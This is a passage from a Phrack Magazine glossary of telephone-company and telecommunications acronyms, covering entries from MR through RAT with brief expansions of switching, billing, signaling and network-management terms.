MRFIS Mechanized request for information systems
MRO Message register option
MRP Mechanized revenue planning system
MRPS Mobile radio priority system
MRR Mandatory review reporting
MRS Management reporting system (TNDS)
MRSELS Microwave radio & satellite eng. & lic
MRTI Message-rate treatment index (AMA NTI)
MRTS Mechanized real time tracking system
MRTTA Message recording trunk trouble analysis
MRWPE Read or write parity error
MS Machine screw (BSP)
MS Maintenance state
MS Measured service
MS Mechanized scheduling
MS Memory subsystem
MS Menue software (sipb.exe)
MS Microseconds
MS6E Message switching #6 equipment
MS7E Message switching #7 equipment
MSA Management science america
MSAG Master street address guide
MSC Media stimulated calling
MSC Minimum service charge
MSCP Mass storage control protocol
MSCS Management scheduling and control system
MSCU Message switch control unit
MSCU Message switch controller unit
MSDS Material safety data sheet system
MSFDB Market share forecast data base
MSGBUF Message buffer
MSGCLS Message class
MSGLOCK Message lock
MSGNO Message number
MSGP Microcomputer support group programming
MSGS Message switch
MSK Output a transaction mask
MSKMR Mate reset
MSM Multi-state marketing system
MSMTCH Mismatch.
MSN Multiple subscriber number (i.251 b)
MSORS Mechanized sales office record system (BTL)
MSP Management salary plan
MSP Metropolitan service plan
MSPR Message switch peripheral unit
MSR Marketing surveys and reports
MSR Mechanized sales results system (mbt directory sales)
MSR Mechanized service record
MSR Mizar status report
MSR/DIS Mechanized service record/disability subsystem
MSS Mass storage system
MSS Mss is a dialup for... database of 1800 numbers...
MSSS Mechanized supply stock system
MSTIC Mechanized standard time increments (we/eplans)
MSTS Measured service tracking system
MSU Message signal unit
MSU Metallic service unit
MSU Msg. signal unit (SS7)
MSUCOM Metallic service unit common
MSUS Measured service usage studies
MSUSM Subunit select mismatch
MT Master record tape unit number or tape drive to write
MT Wired music INTER/TRA blocal 1-26
MTA Message transfer agent (x.400)
MTAE Message transfer agent entity (x.400)
MTB Magnetic tape billing
MTB Metallic test bus
MTC Facs maintenance transaction
MTCE Maintenance (default).
MTCE Maintenance parameters
MTD Magnetic tape drive
MTD Mutilated digit
MTD Mutilated digit (MDII)
MTECS Iimechanized toll error correction system phase ii
MTECS Mechanized toll error correction system
MTEL Main telephone
MTF Master test frame
MTH Magnetic tape handler
MTIB Metallic test interconnect bus
MTIBAX Metallic test interconnect bus access
MTINT Miscellaneous timer interrupt
MTL Maximum termination liability
MTLR Mechanized trouble log report
MTLT Maintance transmission action limit table
MTM Maintenance trunk module (NTI)
MTO Master terminal operator
MTP Management transitional program
MTP Message transfer part (SS7: q.701-q.710)
MTP Message transfer part.
MTP Message transfer protocol (x.411: p1)
MTR Manually test a response
MTR Mechanized time reporting
MTR Tape drive to read
MTRS Marketing or management time reporting system
MTRS Mechanized training records system
MTRS/FCC Management time reporting system/fcc report
MTRT Mate ready time out
MTS Manual test system
MTS Memory time swich peb2040
MTS Message telecommunications service
MTS Message telecommunications system
MTS Message telephone service
MTS Message teleprocessing system
MTS Message toll service
MTS Mobile telephone service
MTSC MTS CMOS (512 incoming channels)
MTSDB Message telecommunications services data base
MTSI Msg telecommunications ser price index
MTSL MTS large (1024 incoming channels)
MTSO Mobile telephone switching office
MTSS MTS small (256 incoming channels)
MTTP Master trunk test panel
MTU Magnetic tape unit parameters
MTU Maintenence termination unit
MTU Media tech unit
MTW Tape drive to write
MTX Mobile telephone exchange
MU Maintenance usage
MU Message unit
MUC Material usage code
MULDEM Multiplexer-demultiplexer
MULT Multiple
MUM Measured unit message
MUNICH Multichannel (32) network interface controller
MUPH Multiple position hunt
MUSAC Multipoint switching and conferencing unit
MUSIC Modeling for usage sensitive incremental costs
MUT Miniaturized universal trunk frame
MUT Multi-unit-test
MUX Multiplex
MUX Multiplexer
MVAS Motor vehicle accident summary
MVCCW Commstar ii call waiting USOC
MVP Multiline variety package
MVS Multiple virtual storage
MVS Multiple virtual storage operating
MVS/MODS TSO display operator messages from programs running under
MVS/SP Multiple virtual storages/system product operating system
MVS/SPA Multiple virtual storages/system product assist operating
MVS/XA Mutliple virtual storage/extended architecture
MVT Multiprogramming with a variable number of tasks
MVTC Motor vehicle type code
MW (ger) service word
MW Mandatory work
MW Multiwink
MWCP Mechanized wire centering program (BTL)
MWI Message waiting indicator
MWPER Write protect error
MX Monitor transmit (flow control bit in IOM2)
MXU Multiplex units
MXU Multiplexer unit
--------------------------------------------------------------------------------
==Phrack Magazine==
Volume Four, Issue Forty-Three, File 24 of 27
{Acronyms Part IV}
N Estimated time to complete this ticket.
N No corrective action
N(R) (NR) receive sequence number
N(S) (NS) transmit sequence number
NA CSACC link (EPSCS) INTER/TRA blocal 1-26
NA Next address
NA Normal alignment
NAAP New affirmative action program
NAB Network analysis bureau
NAC Network administration center
NAC Network application center
NAC Non-area code
NACK No ground acknowledgment received on a ground start private facility (FX) trunk
NAFMAP Network administration force management and productivity
NAG Network architecture group
NAI Telephone number assignment inquiry
NAK Negative acknowledge
NAM Number assignment module
NAND Not-and gate
NANP North american numbering plan
NAP Network access pricing
NAP Network analysis program (BTL)
NAR Nac assignment review
NARS National yellow pages services accounts receivable system
NAS Network analysis system
NAS Numerical and atmospheric sciences network
NAS/CARS Network analysis system/central analysis report system
NAS/SRS Network analysis system/subscriber recording system (MBT)
NASS Network adminstration support system
NATL National code (NTI)
NAUG Network administration user group
NB Narrow band
NBSY Number of busy (trunks) (NTI)
NC CNCC link (SPSCS) INTER/TRA blocal 1-26
NC Network channel
NC No circuit
NCA No circuit announcement
NCAT Network cost analysis tool
NCC National coordinating center (national emergency)
NCC Network control center
NCC Notify corrupted CRC (in EOC)
NCCF Network communication control facility (IBM vtam/mcp option)
NCCF Network communications control facility
NCD Network call denial
NCDAFTA NCD denied after answer
NCDAFTA Network call denial (NCD) denied after answer
NCDBEFA NCD denied before answer
NCDBLKD NCD returned blocked
NCDCCBL NCD code control blocked
NCDDBOV NCD data base overload
NCDDBOV NCD database overload
NCDDENY NCD deny received
NCDDSBL NCD direct signaling blocked
NCDNOXL NCD returned no translation
NCDOVLD NCD returned overload
NCDUNEQ NCD returned unequipped
NCH Noch
NCI Network channel interface
NCI No card issue
NCLK Network clock
NCLS Non-capitalized lease system
NCMASTER No circuit master
NCOO Network central office operations
NCOS Dms 100 class of service
NCOSC Network clock 2 oscillator
NCOSS Network communication and operations support system
NCP National control point
NCP Network control point
NCP Network control point (in a SDN)
NCP Network control program (IBM3725 software)
NCR- Sclrnetwork completion report-system called line report system
NCRPAB Network cost results plan
NCS National communications system
NCS National communicatons system
NCSPC Non-conforming stored program control
NCT Network control and timing
NCT (CP) Network control and timing call processing
NCT LINKS Network control and timing links
NCTE Digital network channel equipment
NCTE Network channel terminating equipment
NCTE Network channel terminating equipment (FCC NT1)
NCTLNK Network control and timing link
NCU Network control unit
ND Network data line INTER/TRA blocal 1-26
NDA Network data analyzer
NDA Network delivery access
NDBS Network data base system
NDC National destination code (i.e. area code)
NDC Network data collection
NDC Node data collection
NDCC Network data collection center
NDIS National dial-it services
NDPCC Network data processing coordination center
NDRAS Network distribution resource administration system
NDS Network data system
NDS Network distribution services
NDS-TIDE Network data system-traffic information distributor and
NDS/ANN Announcement system - System/36
NDS/BMR Bmrbudget morning report - System 36
NDS/CONAD Conadcontract administration system - System 36
NDS/FLEXNDS Flexible reporting
NDS/FORMS Mechanized forms - System 36
NDS/MT Mechanized tool interface - System 36
NDS/PDB Personnel database - System 36
NDU Network data unit
NE Near end
NE Network element
NE Network elements
NEAS Non-optional extended area service
NEBE Near end block error (IOM2 monitor message)
NEBS Network equipment-building system
NEBS Network equlpment-building system
NEBS New equipment-building system
NECA National exchange carrier association
NECC National emergency coordination center (bellcore)
NEG Negative
NEON Nonmanagement employee opportunity network
NERC National emergency relocation center
NESAC National electronic switching assistance center
NESC National electric safety code
NET (ec) european standards of telecommunication
NETPARS Network performance analysis reporting system (IBM Vtam)
NETPRT Netprt
NETS Nationwide emergency telecommunications system
NETTIMS Nettims
NETWORK Sidethe segment of the time slot interchanger (TSI) that is
NEXT Near end cross (x) talk
NEXT Near end crosstalk
NEXT Node exhaust tool system
NFID Non-fielded id
NFM Network force management
NFS Network file system
NFT Network file transfer
NG No good
NGF Number group frame
NGF Number group frame for 5 Cross Bar
NHLS Next higher level support
NHR Non hierarchial routing
NHR Not hard to reach
NI Network interface
NI/NC Network interface/network channel
NID Network in dialing
NID Network information database
NIP Nucleus initialization program
NIPA Net income and productivity analysis
NIRS National yellow pages services invoice receiving system
NIS Operation system-intelligent network elements
NIS(FLEXCOM) Network interface system - OPS/INE
NKP No key pulse
NKP No key pulse (MDII)
NL-PG Line number page
NLD Nonlinear distortion
NLD-SN Nonlinear distortion signal/noise
NLDM Network logical data manager (IBM VTAM option)
NLP Network layer protocol
NM Network maintenance
NM Network management
NM Network management.
NM Network module
NMA Network management applique
NMA Network monitoring and analysis
NMAT Nonmanagement attendance tracking system
NMB Network management busy (NTI)
NMC Network management center
NMC Network mondule controller (NTI)
NMDT Network management display terminal (AT&T)
NMMPEN Network maintenance management planing
NMOS Network management operations support
NMPR Network management printer (AT&T)
NMS Network management services
NMS Network management system
NN Two digit number
NNN Three digit number
NNNN Four digit number
NNX Central office code designating the customer exchange
NNX Network numbering exchange
NNX Telephone exchange code
NO Number
NOC National operations center at Bedminister N.J.
NOC Network operations center
NOC Normalized office code
NOCS Network operations center system
NOD Network out dialing
NODAL Network operations forum
NOE Number of oes to be assigned
NOL Nac service order listing
NOMAD No-op instruction
NOPS Network operations plan system
NOR/TADS North region/testing and development system
NORAD North american air defense command
NORGEN Network operation report generating
NORGEN Network operations report generator
NORGEN Network operations report generator system
NORM Normal
NORM Return to normal (IOM2 monitor command/message)
NOS Network operating system
NOTIS Network operations trouble information system
NOW Network optical warehouse
NP Non-published
NPA Area code and exchange number
NPA Network peformance analyzer (IBM)
NPA No power alarm
NPA Numbering plan area (area code)
NPAP Nonmangement performance appraisal plan
NPC Network processor circuit
NPC No parameter choices
NPDA Network problem determination applicator (IBM)
NPH Network protocol handler
NPM Network performance monitoring system
NPS Network planning system
NPSI Ncp packet switching interface
NPUMP Normal pump
NPV Net present value
NQ Telegraph customized-service code for LATA access
NR No response.
NRAS Nova/rider awards system
NRC Non-recurring charge
NRG Number of rings
NRM Normal response mode (hscx)
NRM Normalizing ccs value
NRODD Non-redundant ODD
NRRI National regulatory research institute data
NRRT Non-reroutable traffic
NRS Network routing system (MBT)
NRT No response while in test mode.
NRZ Non return to zero
NRZC Nrz change
NRZI Nrz inverted
NRZM Nrz mark
NSA National security agency
NSAC Network service administration center
NSACGCOMP NS SCP ACG component
NSBADRESP NS SCP response message with invalid data
NSC Network service center
NSCMP Network service center multi (dddcservice bureau)
NSCS Network service center system
NSD No start dial
NSD Number summary display
NSDB/IA Network and service data base/interface administration
NSE Network switching engineering
NSE Noise
NSEC Network switching engineering center
NSEP National security emergency preparedness
NSFNET National science foundation network
NSN Network services node
NSNONRTEMSG NS reject message
NSP Network service part (SS7: SCCP+MTP)
NSP Non sent paid (coin)
NSPEC Node spec file
NSPMP Network service performance measurement plan
NSPMP Network switching performance measurement plan
NSPRR Network switching performance results report
NSQRYFAIL NS query fail
NSS Network support system
NSSD Network switched services district
NSSNCOMP NS SCP response message with a send notification
NSSNCOMP NS SCP response message with a send notification received at the switch
NSTAC National security telecommunications advisory committee
NSTNMSG NS termination notification message sent from the switch to the SCP
NSTS Network services test system
NSU Network support utilities
NSs Network system (i.e. DACS; SDACSL CDACSL OSU; CSU... etc)
NStA (Ger) PBX
NT Network termination
NT Northern telecom
NT Protection alarm-metalic-service code for LATA access
NT/S NT simulator SIPB7020
NT01 Network frame unable to switch off line after fault detection
NT02 Network path trouble trunk to line - 1AESS network trouble
NT03 Network path trouble line to line - 1AESS network trouble
NT04 Network path trouble trunk to trunk - 1AESS network trouble
NT06 Hourly report of network frames made busy - 1AESS network trouble
NT1 NT serving layer 1 (NCTE)
NT10 Network path failed to restore -1AESS network trouble
NT2 NT serving layer 1 to 3 (subscriber interface of nt
NTC National trunk congestion
NTD Normal direction
NTDACT Network termination (NT) is deactivated.
NTE Network terminal equipment
NTE Network terminating equipment
NTEC Network technical equipment center
NTEC Network terminal equipment center
NTEC Networkbterminal equipment center
NTI Northern telcom inc.
NTIA National telecommunications and information agency
NTM Nt test mode (IOM2 monitor message)
NTN Number of tns to be assigned
NTO Network terminal option (IBM)
NTOFN NT off normal.
NTP Northern telecom practice (NTI)
NTPWR NT lost power.
NTRAP Network trouble analysis plan
NTS Network technical support
NTS Network test system
NTT No test trunk
NTTMP Network trunk transmission measurement plan
NTWRK Network
NU Protection alarm-service code for LATA access
NUA (international) network user address
NUA Network user address
NUA Network utilization analysis
NUC Nailed-up connection
NUI Network user identification
NUL Null
NUP National user part
NV Protective relaying/telegraph grade-service code for LATA access
NVM Non volatile memory (eeprom)
NW Telegraph grade facility-75 baud-service code for LATA access
NWB Network-busy (NTI)
NWK Adminnetwork administration budgets system
NWM Network management (NTI)
NWPK Network packs
NXX Refers to the central office designation of the telephone
NY Telegraph grade facility- 150 baud-service code for LATA access
NYNEX NYNEX corporation
NYNEX New york
NYPS National yellow pages services
NYPSA National yellow pages services association
O Priority.
O+I Originating plus incoming calls to a switching module.
O-LTM Optical line terminating multiplexer
O/S Operating system
OA Line equipment assignment option
OA Out of alignment
OA&M Operations
OA&M Operations administration and maintance
OAM Office data administration system
OAP Operator services position system administrative processor
OASIS Office automation strategy for information systems
OASIS Overseas accounting settlement and information
OASYS Office automation system
OATQ OSPS ANSI TCAP query and reply
OATS Operator assistance tracking system
OBA Out of band announcement
OBF Ordering and billing forum
OBH Office busy hour
OBS Observed data rate
OC Office communication
OC Operating company
OC Operator centralization
OC&C Other charges and credits
OCAS OSPS customer account services
OCAS7 OSPS customer account services CCSS7/international CC validation
OCC Other common carrier
OCC Other common carriers
OCC Usage occupancy
OCCH Outgoing connections per circuit per hour
OCCS OSPS common channel signaling
OCCS Order control and coordination system (BTL)
OCE Other common carrier channel equipment
OCN Operating company number
OCOIN OSPS coin
OCP Optional calling plan
OCP Origination point code (SS7)
OCPDG Ocp data gathering
OCR Optical character reader (auerbach computer technology report)
OCR Optical character recognition (IBM)
OCRS Optical character recognition system
OCS Offical communication services
OCS Old class of service
OCS/CTS Official communications services installation and
OCS/CTS Official communications services installation and maintenance cos
OCSDSELR OCS data station equipment location report
OCSOLRM Official communications services (OCS) on-line reference
OCTD OSPS centralized automatic message accounting tone decoder
OCU Office channel unit
ODA Office data administration
ODA Office data assembler
ODA Office document architecture
ODAC Operations distribution administration center
ODACCIN OSPS directory assistance (DA) call completion and intercept
ODB On-demand B-channel counts.
ODB Operations divestiture board
ODCS Official data communications service
ODD Office dependent data
ODD Operator distance dialing
ODDBU Office dependent data backup
ODDD Operator direct distance dialing
ODDS Order data distribution system
ODIN Online data integrity system
ODP Office dialing plan
ODP Organization development program
ODP Organizational design program
ODS Overhead data stream
ODS Tnds on-line demand servicing
OE Office equipment
OE Office equipment / office equipment number
OE Office equpiment number
OEC Other exchange carrier
OEC Outside plant equivalence codes
OEIC Optoelectronic integrated circiut
OEIS OSPS external information system
OEM Original equipment manufacture
OEM Original equipment manufacturer
OF Official (telco owned)
OF Overflow
OFA OSPS facility administration
OFC Office
OFF OSPS fast features
OFF HK Off hook
OFFN Off-normal
OFL Overflow(s)
OFNPS Outstate facility network planning system
OFRD Offered (calls [peg count])(NTI)
OFRT Office route (NTI)
OFT Optical fiber tube
OGO Outgoing only trunk
OGT Outgoing trunk
OI Off premises intercommunication station line INTER/TRA blocal 1-2
OI Optical interface
OIJ Orders in jeopardy
OINTA OSPS interflow listing services/C-ACD measures
OIRCV OSPS interflow T&A calls received
OISNT OSPS interflow T&A calls sent
OKMDT Oklahoma management development training
OKP Operational kernel process
OKRA Operator keyed trouble report
OLCP Optional local calling plan
OLIDB OSPS line information data base
OLIPD Online invoice payment data
OLRM Online reference material
OLS Originating line screening
OLTEP Online test executive program
OLTS Optical loss test set
OM Operational measurement (NTI)
OM Operational measurements
OM Output mux
OMAP Operations and maintanance application part
OMAT Operations maintenance and administration team
OMC Operating and maintainance center
OMD Out messages - day
OMDB Output message data base
OMDB Output message database
OMISC OSPS miscellaneous call
OML Outgoing matching loss
OMM Output message manual
OMNI Online marketing networked information system
OMP SS7 fe operation management protocol
OMPF Operation and maintenance processor frame
ON Off network access line INTER/TRA blocal 1-26
ON HK On hook
ONA Open network architecture
ONA Open network architecture (FCC computer inquiry iii)
ONAC Operations network administration center in K.C. (AT&T)
ONAL Off network access line
ONALS Off-net access lines
ONC On line COSMOS
ONDDBOV OSPS NCD message received indicating database overload
ONDDBUN OSPS NCD message returned data base unable to process
ONDGMSG OSPS NCD message received garbled
ONDIRPY OSPS NCD message received with an inconsistent reply
ONDNBLK OSPS NCD message returned because of network blockage
ONDNCON OSPS NCD message returned because of network congestion
ONDNRTE OSPS NCD message returned because of no routing data
ONDTOUT OSPS NCD message returned because of timeout
ONDUNEQ OSPS NCD message returned
ONDURPY OSPS NCD message received with an unexpected reply
ONI Operator number identification
ONP Open network provision
ONPA Originating numbering plan area
ONS On line switch
ONSITE Urban decisions system
ONTC Office network and timing complex
ONTC Office network and timing complex (CM2 offices only)
ONTCCOM Office network and timing common units
OOB Out-of-band
OOC Originating office code
OOC Out-of-chain
OOF Out-of-frame
OP Off premises extension INTER/TRA blocal 1-26
OP Operation
OP Outside plant
OP ALL Option all
OPC Originating point code
OPC Originating point codes
OPCDB Operations common database
OPDU Operations protocol data unit (x.411: p3)
OPEOS Outside plant planning
OPH Operator handled
OPM Outage performance monitoring
OPM Outside plant module
OPN Open-of-day report
OPNOXL3 OSPS position no level 3 protocol.
OPR Operator
OPS Off-premises station
OPS Outside plant study system
OPSM Outside plant subscriber module
OPT Optional
OPU Outside plant cable usage
OPX Off-premises extension
OR Originating register
OR & RG Operating rate and route guide
ORB Office repeater bay
ORBIT Osp rehabilitation budget information tracker
ORC Originating rate center
ORD Service or work order
ORD Work order
ORD# Order number
ORDN Order number.
ORDNO Service order number
ORE Order edit
ORE-G Order edit global
ORI Order input
ORIG Allows originating
ORLF Originating register link frame
ORLMF Originating register line memory frame
ORM Optical remote module
ORM Optical remote switching module
ORM Optically remote switching module
ORMC Originating register marker connector
ORP Operational review plan
ORR Overflow reroute
ORRS Online records and reporting system (TNDS)
ORS Order send
ORTN Orientation
ORTR OSPS real-time rating
OS Off premises PBX station line INTER/TRA blocal 1-26
OS Operations systems (operations support systems) (OSS)
OS Operator service
OS Origination scanning
OS Out of service
OS Out sender
OS Outstate
OS/D Operator services/deaf
OSAC Operator services assistance center
OSAC Operator services of answer consistency
OSAM Overflow sequential access method (IBM)
OSAP Operations systems architecture plan
OSC Operator services center
OSC Oscillator
OSCAS Operator service control access system
OSDS Operating system for distributed switching
OSDS-C Operating system for distributed switching in the conection
OSDS-M Operating system for distributed in the switching module.
OSE Oscillator error flip-flop
OSI Open system interconnection
OSI Open systems interconnection
OSLF Out sender link frame
OSM1 Optional services menu screen number 1
OSN Operations systems network
OSO Originating screening office
OSO Originating signaling office
OSPE Outside plant engineer
OSPI Operator services planning information
OSPRE/CON Outside plant reconciliation
OSPS Operator service position system
OSPS Operator services position system
OSPS Outside plant studies
OSPS-DL OSPSystem data links
OSR Ongoing support request
OSS Operation support system
OSS Operations support system
OSS Operations support system (BTL)
OSS Operator service signalling
OSS Operator services system
OSSGR Operator services system generic requirements
OSSP Operations systems strategic plan
OSSS Operator services support system
OSTC Operations systems technical center
OT Originating traffic
OT Other type
OT Overtime
OTA OSPS toll and assistance
OTC Operating telephone company (in bell system)
OTDR Optical time domain reflectometers
OTER Operator team efficiency ratio
OTG Outgoing trunk group
OTH Other
OTO Office-to-office
OTR Operational trouble report
OTSS Off the shelf system
OTTS Outgoing trunk transmission system
OUC Orgination unit code
OUT Outgoing trunk groups
OUTWATS Outward wats
OUTWATS Outward wide area telecommunications service
OVF Overflow (NTI)
OVLT Overvoltage protection
OVLY Overlay scheduling
OVOEQ OSPS call volume and equipment usage
OVRLD Overload or congestion control
OVRRNG Overrange
OVS Overseas
OVW Equipment class overwrite
OW Over-write
OWG Optical wave guide
OWT Outwats [code 024(5500-5600)]
OXPRESS Zero express
P Commitment time for having this trouble repaired.
P-tone Pseudo tone
P/AR Peak-to-average ratio
P/F Poll/final bit
PA Power allarm
PA Program address
PA Program application
PA Protective alarm (AC) INTER/TRA blocal 1-26
PABX Private automatic branch echange
PABX Private automatic branch exchange
PAC Percent access chargeable
PACE Program for arrangement of cables and equipment
PACK Peripheral equipment packs
PACT Prefix access code translator
PAD Packet assembler/dissasembler
PADDLE Program for administering data bases in the lfacs
PADS Planning analysis and decision support
PADSX Partially automated digital signal cross-connect
PAK Work packages
PAL Pre-service action limit
PAL Price analysis list
PAL Pricing and loading (mcauto)
PAL Purchasing authorization letter
PAM Pass along method (SS7: in ISUP)
PAM Primary access method
PAM Pulse amplitude modulation
PAN Panel
PAN Personal account number
PANDS Purchase & sales
PANS Pretty advanced new stuff
PAP Publications' accounts payable
PAQS-10 Provisioning and quotation system
PARMS Parameters
PARTS Tvcom electronic parts inventory
PAS Protocol architecture specification for IOS (PCT)
PAS Public announcement service
PAT Position attached signal time-out
PAT Position attached signal time-out (MDII)
PAT Power alarm test
PATROL Old version of 'esscoer'
PAX Private automatic exchange
PAYRO1IC Payroll-information center
PB Lajga
PB Placement bureau
PB Sdga
PBC Peripheral board controller
PBC Peripheral bus computer
PBC Peripheral bus. computer
PBC Processor bus controller
PBD Pacific bell directory
PBG Packet business group
PBHC Peak busy hour calls
PBM LTG = 0 ho/mo msg reg (no ANI)
PBO Paperless business office
PBOD Pac bell order dist.
PBVS Pacific bell verification system
PBX Private branch exchange
PBXC Private branch exchange center
PBXWL Private branch exchange wiring list
PC Peg count
PC Peripheral control (software)
PC Power controller
PC Primary center
PC Process controller
PC Switched digital-access line INTER/TRA blocal 1-26
PCA Philip crosby associates
PCB Program communications block-IMS (IBM)
PCC Peg count converters
PCDA Program controlled data acquisition
PCF-II Programming control facility-II (IBM)
PCH Parallel channel
PCI Panel call indicator
PCID Primary circuit identification
PCL Payroll change list
PCL Pcm data clock
PCM Program control module
PCM Pulse code modulation
PCN Personal communication network (UK)
PCN Product change notices
PCO Peg count and overflow
PCO Plant control office
PCP Primary control program
PCR Preventive cyclic retransmission (SS7 in MTP)
PCSN Public circuit switched network
PCT IOS program coding tools (SDL oriented)
PCTF Per-call test failure
PCTF Per-call test failure.
PCTV Program controlled transverters
PD Peripheral decoder
PDA Parameteredatanassembler
PDA Partial dial abandon
PDA Partial dial abandon (MDII)
PDC Primary digital carrier
PDF Power distribution frame
PDI Power and data interface
PDIT Prefix/feature digit interpreter
PDM Power down mode
PDN Public data network
PDSP Peripheral data storage processor
PDT Partial dial time-out
PDT Partial dial time-out (MDII)
PDU Protocol data unit (x.400)
PE Peripheral equipment
PE Program audio 200-3500 hz-service code for LATA access
PECC Product engineering control center
PEP Position establishment for parties
PER For each.. or according to
PER Protocol error record
PF Printout follows
PF Program audio 100-5000 hz-service code for LATA access
PFM Pulse frequency modulation
PFOFF Power feed off (C/I channel code)
PFPU Processor frame power unit
PFR Party line fill report
PFR Polarity failure
PFR Polarity failure (MDII)
PFS Page format selection (teletex)
PFS Pcm frame synchronisation signal
PG Page
PG Paging INTER/TRA blocal 1-26
PG Program document index
PG Program frequency weighting
PGTC Pair gain test controller
PH Packet handler
PH Parity high bit
PH Pending header
PH Protocol handler
PH JTR Phase jitter
PH- Physical-
PHY Physical
PIA Plug-in administrator
PIC PCM interface controller
PIC Plastic-insulated cable (plant)
PIC Polyolefin insulated cables (plant)
PIC Primary independent carrier (switching)
PICB Peripheral interface control bus
PICS Plug-in inventory control system
PICS Plug-in inventory control system (PICS/DCPR)
PICS/DCPR PICS/detailed continuing property records
PID Personal ID
PIDB Peripheral interface data bus
PIINT Allow packet interface interrupt
PIN Personal identification number
PIOCS Physical i/o system
PIP PCM interface port
PIP Packet interface port
PIU PCM interface unit
PJ Program audio 50-8000 hz-service code for LATA access
PK Program audio 50-15000 hz-service code for LATA access
PKC Package category
PKT Package type
PL Parity low bit
PL Private line
PL Private line circuit number
PL Private line-voice INTER/TRA blocal 1-26
PLAR Private line automatic ringdown
PLC Physical link control (IOS)
PLD Partial line down (teletex)
PLGUP Plug-up (currently no affect).
PLIC Pcm line interface
PLL Phase locked loop
PLU Partial line up (teletex)
PM Peripheral module
PM Peripheral modules
PM Phase modulation
PM Plant management
PM Preventive maintenance
PM Protective monitoring INTER/TRA blocal 1-26
PM01 Daily report - 1AESS plant measurments
PM02 Monthly report - 1AESS plant measurments
PM03 Response to a request for a specific section of report - 1AESS
PM04 Daily summary of iC/Iec irregularities - 1AESS plant measurments
PMAC Peripheral module access controller
PMB LTG = 1 ho/mo regular ANI6
PMI Plant managementninstruction
PMS Peripheral maintenance system pack
PMS Peripheral maintenance system packs
PMS Plant measurements system
PMS HUB Picture phone meeting service hub
PMU Precision measurement unit
PN Pseudo noise (code)
PNB Pacific northwest bell
PNL Premis number list for TN
PNP Private numbering plan (i.255 b)
PNPN Positive-negative-positive-negative devices
POB Periphal order buffer
POF Programmable operator facility
POP Point of presence
PORT Remote access test ports
POS Centralized automatic message accounting positions (NTI)
POS Position
POS TOPS (DMS) position (NTI)
POSN-P Posn-p
POSNOB OSPS position no B-channel.
POSNRSP OSPS position no response.
POT Point of termination
POTS Plain old telephone service
POVT Provisioning on-site verification testing
PP Post pay
PPC Pump peripheral controller
PPD Peripheral pulse distributor
PPG Precedence and preemption group
PPM Periodic pulse metering.
PPN Public packet switching
PPS Product performance surveys
PPS Public packet switching network
PPS Pulse per second
PPSN Public packet switched network
PPSRV Pre-post service.
PPU Power providing unit
PP_D_M Point-to-point data maintenance
PQ Program grade customized-service code for LATA access
PR Cable pair id
PR Pair normally tip and ring
PR Protective relaying-voice grade INTER/TRA blocal 1-26
PRA Primary rate access
PRCA Puerto rico communications authority
PRE Previous
PREMIS Premises information system
PRFX Prefix
PRFX Prefix translations
PRI Frame priority
PRI Primary rate interface
PROC Processor
PROG Program
PROM Programmable read-only memory
PROMATS Programmable magnetic tape system
PROT Protection
PROTEL Procedure oriented type enforcing language
PROTO Protocol circuit
PRP Periodic purging of remarks
PRP Permanent cable pair remarks
PRS Personal response system
PRT Print
PRTC Puerto rico telephone company
PRZ Preferred rate zone
PS Msc constructed spare facility INTER/TRA blocal 1-26
PS Packet switching
PS Previously published/non-published facility indicator
PS Program store
PSAP Public safety answering point
PSC Prime service contractor
PSC Public safety calling system
PSC Public service commission
PSD Programmable scanner distribution
PSDC Public switched digital capability
PSDN Packed-switched data network (t.70)
PSDS Public switched digital service
PSE Packet switch exchange
PSF Packet switching facility
PSGRP Packet switching groups
PSHF Peripheral equipment shelf
PSIU Packet switch interface unit
PSK Phase shift keying
PSK Phase-shift keying
PSL IOS protocol source library
PSM Packet service module
PSM Position switching module
PSN Packet switched network
PSN Public switched network
PSO Pending service order
PSODB Packet switching on-demand B-channel
PSOFC Packet switching office (ISDN)
PSPDN Packed-switched public data network
PSPH Packet switching PH/DSLG (ISDN)
PSPORT packet switching protocol handler (PH) port (ISDN)
PSR Phase shift register
PSS Packet switch stream
PSS Packet switched services
PSSM Packet switching per switching module (ISDN)
PST Permanent signal time-out
PST Permanent signal time-out (MDII)
PST Pre-service testing
PST Sides protocol software development
PSTG Packet switching trunk group
PSTLT Pre-service transmission action limit table
PSTN Public switched telephone network
PSTN Public switched telephone network (t.70)
PSU Packet switch unit
PSU Packet switch unit.
PSU Program storage unit
PSUPH Packet switch unit protocol handler
PSW Program status word
PSWD Password access
PT Package time
PT Point
PT Program timer
PTAT Private trans atlantic telecommunications
PTCL Protocol
PTD Plant test date
PTR Printer
PTT Postal telephone and telegraph
PTW Primary translation word
PTY Party indicator
PTY Party number or position
PU Power units
PU Power up (C/I channel code)
PUC Peripheral unit controller
PUC Public utilities commission
PULS Message-rate pulsing table (AMA NTI)
PULS Pulse
PULSG Pulsing
PUM Pu mode
PUMPHW Pump hardware errors
PV Protective relaying-telegraph grade INTER/TRA blocal 1-26
PVC Permanent virtual circuit
PVC Permanent virtual circuit (x.25 network)
PVC Permanent virtual circuits
PVN Private virtual network
PVT Private
PW Protective relaying-signal grade INTER/TRA blocal 1-26
PWC Premis wire center
PX Pbx station line INTER/TRA blocal 1-26
PX Power cross.
PZ Msc constructed circut INTER/TRA blocal 1-26
Q Report class. see table 5-1.
Q-CIF Quarter cif (for ISDN low end video)
QAM Quadrature-amplitude modulation
QANN Announcements for queuing (MLHG)
QAS Quasi-associated signaling
QEX Question an execution
QMLHG Queuing for multi-line hunt group
QMP Quality measurement plan
QPA Quality program analysis
QRSS Quasi random signal source
QS Packet synchronous access line INTER/TRA blocal 1-26
QSC Quad s interface circuit peb2084
QSF Queuing for simulated facility
QSS Quality surveillance system
QTAM Queued telecom access method
QTG Queuing for trunk groups
QU Packet asyncronous access line INTER/TRA blocal 1-26
QUE Queue
R Initials and location of person reporting this trouble.
R Review pending dispatch
R Ring
R&R Rate & route
R&SE Research & systems engineering
R-GRD Ring-to-ground
R-T Ring-to-tip
R/O Read/only
R/W Read write
R/WM Read/write memory
R1 Regional signaling system 1 (based on CCITT SS5 (2600))
R2 Regional signaling system 2 (based on CCITT SS4 (2400))
RA Rate adaption
RA Ready access
RA Remote attendant INTER/TRA blocal 1-26
RACF Remote activated call forwarding
RAD Receive adress
RAF Recorded announcement facility
RAF Recorded announcement function
RAF Recorded announcement function (DSU2)
RAL Relay assignment list
RAM Random access memory
RAM Random-access memory
RAND Rural area network design
RAO Regional accounting office
RAO Revenue account office
RAO Revenue accounting office
RAP Recorded announcement port.
RAP Relay assignment parameters
RAP Rotary assignment priority
RAR Return address register
RAS Release sequence number lists and related TN/OE
RAS Remote access services
RASC Residence account service center
RAT Rating
